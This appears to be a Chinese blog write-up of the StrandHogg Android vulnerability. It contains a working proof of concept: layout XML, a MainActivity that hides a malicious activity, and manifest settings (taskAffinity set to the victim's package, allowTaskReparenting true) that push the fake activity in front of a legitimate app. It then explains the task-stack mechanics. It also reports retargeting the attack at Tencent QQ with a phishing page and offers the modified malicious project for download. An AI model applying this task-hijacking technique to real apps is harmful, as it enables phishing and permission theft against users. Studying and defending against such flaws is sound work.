本文写于2020年初,于2021年由CSDN迁移博客至此.
0x00 StrandHogg漏洞详情
StrandHogg漏洞
CVE编号:至本文编写完毕时仍暂无编号
[漏洞危害]
近日,Android平台上发现了一个高危漏洞
该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用权限
或者进行恶意钓鱼攻击
由于该漏洞允许恶意软件劫持合法应用的活动,并将自身恶意活动插入在合法活动之前
使得用户并没有意识到自己已经遭到攻击
[漏洞影响Android版本]
至2020年1月26日,经过测试,该漏洞影响Android全版本,包括目前最新的Android10
[漏洞利用条件]
几乎无条件即可利用此漏洞,即使在无Root机型上利用此漏洞也轻而易举
目前已发现36个应用恶意利用该漏洞进行攻击
0x01 漏洞复现
接下来我将新建一个完全合法的项目和一个攻击此合法App的恶意项目
并且让恶意软件劫持合法App,使恶意活动插入到合法活动之前,实现攻击目的
编译一个合法空项目并安装在手机上
项目命名为BeAttacked
包名:com.victim.app
其UI只有一个TextView控件,并且显示Hello World这段字符
该空项目假设为攻击者欲攻击的合法App
接下来新建一个利用此漏洞的恶意软件项目,命名为Attack
布局代码
activity_main.xml
<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">
<textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Innocent">
</textview></linearlayout>
如上述布局代码所示,该布局将只显示Innocent这段字符
新建一个布局,并且假设这个新建的布局为恶意活动显示的布局
attack.xml
<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">
<textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Attack Success!">
</textview></linearlayout>
同理,该布局将只显示 Attack Success! 这段字符
接下来新建Innocent类和Attack类,两个类分别显示activity_main和attack这两个布局
我们假设Attack这个类为恶意活动,我不想让用户在启动恶意软件时看到恶意活动而怀疑软件的真实意图
我想让用户在启动软件时只看到无害的活动,从而隐藏软件的真实意图,那么要如何实现呢
我可以预先启动Attack类,紧接着启动Innocent类,这样用户在页面上只能看见最顶层的Innocent类,而不是恶意活动
MainActivity类
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.activity_main);
Intent innocent,attack;
attack=new Intent(this,Attack.class);
attack.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//将attack活动放置在一个新task中
attack.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);//取消过度动画,增加恶意软件迷惑性
innocent=new Intent(this,Innocent.class);
innocent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivities(new Intent[]{attack,innocent});//先后启动attack活动与innocent活动
finish();
}
}
接下来分析代码
我让程序创建了成员变量分别为innocent,attack的两个Intent对象
attack和innocent都带上了FLAG_ACTIVITY_NEW_TASK这个Flag
带上该Flag的Intent创建的活动都会在各自的任务栈中,互不影响
其中attack还带有FLAG_ACTIVITY_NO_ANIMATION这个flag
带有该Flag的Intent创建的活动将不显示过度动画
接着我调用了startActivities方法先后启动attack和innocent这两个活动
注意,Innocent这个活动在Attack启动之后才被启动,在活动先后顺序上,Innocent在最顶层
所以用户最终看到的活动只有Innocent这个无害活动
而Attack启动时取消了过度动画,除了个别机型会有稍微闪动外,在启动时无明显变化,从而增加了恶意软件迷惑性
代码已经编写完毕,还有一个问题,攻击者要怎么利用漏洞使得恶意活动插入在合法活动之前呢?
在AndroidManifest.xml中编辑代码
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN">
<category android:name="android.intent.category.LAUNCHER">
</category></action></intent-filter>
</activity>
<activity android:name=".Innocent">
<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">
<!--
其中欲插入到合法活动前的恶意活动的taskAffinity属性就是欲攻击应用的包名
allowTaskReparenting属性为true
-->
代码中,恶意活动的taskAffinity属性就是欲攻击应用的包名
allowTaskReparenting属性为true,这两个属性设置完成后就能使得恶意活动插入到合法活动前了,
为什么这么设置?这就涉及到任务相似性和是否允许活动转移的问题了,这个后面讲,先复现漏洞
编译恶意软件,先打开恶意软件,使得恶意活动在后台就绪,接着再打开欲攻击的合法app
可以发现合法活动已经被恶意活动替代了!
接下来看复现漏洞的GIF图
漏洞成功复现!
0x02 漏洞原理分析
此漏洞利用涉及到任务栈问题,稍微复杂,所以我画了一张图来阐述为什么恶意活动可以插入到合法活动前
在分析之前请先读图,帮助理解
读完图首先就是要理解allowTaskReparenting这个属性的作用是什么
官方文档如下:https://developer.android.com/guide/topics/manifest/activity-element.html#reparent
官方文档的解释:当下一次将启动 Activity 的任务转至前台时,Activity 是否能从该任务转移至与其有相似性的任务 —“true”表示可以转移,“false”表示仍须留在启动它的任务处。(其中的相似性后面再讲,暂且理解成同一个任务栈)
我对官方文档的理解:
假设存在一个任务栈,将此任务栈命名为Task_1
Task_1中存放着两个Activity,分别是Activity_1和Activity_2,并且这个任务栈中的两个活动均在后台运行,用户不可见
假设Activity_1的allowTaskReparenting属性为true
Activity_2的allowTaskReparenting属性为默认值false
当用户 启动Activity_2时,任务栈Task_1也就随着Activity_2到达前台
但Activity_1的allowTaskReparenting属性为true,根据官方文档的解释,该活动能从后台转移至与其有相似性的任务,也就是同样转移至Task_1,
而此时Task_1已经在前台了,相当于Activity_1在Activity_2启动之后也启动了,从而到达了最顶层,而用户最终看到的活动也就是Activity_1了
理解完allowTaskReparenting属性之后.就要解释taskAffinity属性了
taskAffinity直接翻译过来就是任务相关性,
官方文档对该属性的解释为:
从概念上讲,具有同一相似性的 Activity 归属同一任务(从用户的角度来看,则是归属同一“应用”)。任务的相似性由其根 Activity 的相似性确定。
而确定应用相似性的属性就是taskAffinity
首先要知道,若应用没有特别定义taskAffinity的内容的话
则该应用中每个活动的taskAffinity属性的默认内容就是应用包名,所以在没有特别定义taskAffinity的应用中,每个活动均在同一个任务栈中
重新查看恶意活动的清单文件代码
<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">
而要实现将恶意活动插入到合法活动之前,首先就需要恶意活动在合法活动的任务栈中
需要注意的是任务栈可以放置使用相同的taskAffinity的Activity,即使是跨程序也可以共享同一个任务栈
这就可以解释为什么需要恶意活动的taskAffinity属性为欲攻击应用的包名,这样就能让恶意活动与合法活动存在于同一任务栈中了
接着使恶意活动的allowTaskReparenting属性为true,这样就能在合法应用中的活动转至前台时,使得恶意活动同样转至前台
至此,整个攻击流程结束
0x03 漏洞利用及其危害
在0x01中,我已经完成了漏洞复现
为了展现出该漏洞的具体危害,我对复现过程中的Attack类及其布局进行了修改
将Attack类的taskAffinity属性改为腾讯QQ的包名,编译并安装
可以看到我将恶意活动的布局修改为钓鱼页面,真正展现出这个漏洞的危害性
攻击者不仅可以利用该漏洞精心设计一个页面来进行钓鱼攻击,也可以利用该漏洞诱导用户授予恶意软件相应权限进行恶意攻击
最后放出我修改过的恶意软件项目:
StrandHogg.zip 提取码: hci6